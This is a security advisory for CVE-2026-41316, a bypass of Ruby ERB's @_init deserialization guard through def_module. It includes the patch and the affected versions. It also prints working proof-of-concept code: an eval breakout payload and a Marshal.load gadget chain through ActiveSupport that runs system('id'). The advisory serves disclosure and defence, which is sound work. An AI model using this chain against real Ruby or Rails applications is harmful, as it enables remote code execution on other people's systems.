CVE-2026-41316

ADVISORY - github

Summary

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

  1. Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
  2. Hash key insertion calls .hash on the proxy
  3. .hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
  4. def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

  • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
  • Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
  • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

Year Chain Mitigated in
2018 Gem::Requirement (Luke Jahnke) RubyGems 3.0
2021 UDG -- TarReader+WriteAdapter (vakzz) RubyGems 3.1
2022 Gem::Specification._load (vakzz) RubyGems 3.6
2024 UncaughtThrowError (Luke Jahnke) Ruby 3.4 patches
2024 Gem::Source::Git#rev_parse RubyGems 3.6
2026 ERB#def_module @_init bypass ERB 6.0.4

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

  • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Common Weakness Enumeration (CWE)

ADVISORY - nist

Protection Mechanism Failure

ADVISORY - github

Protection Mechanism Failure


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high
PackageTypeOS NameOS VersionAffected RangesFix Versions
erbgem--=4.0.44.0.4.1
erbgem--<4.0.3.14.0.3.1
erbgem-->=5.0.0,<6.0.1.16.0.1.1
erbgem-->=6.0.2,<6.0.46.0.4

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high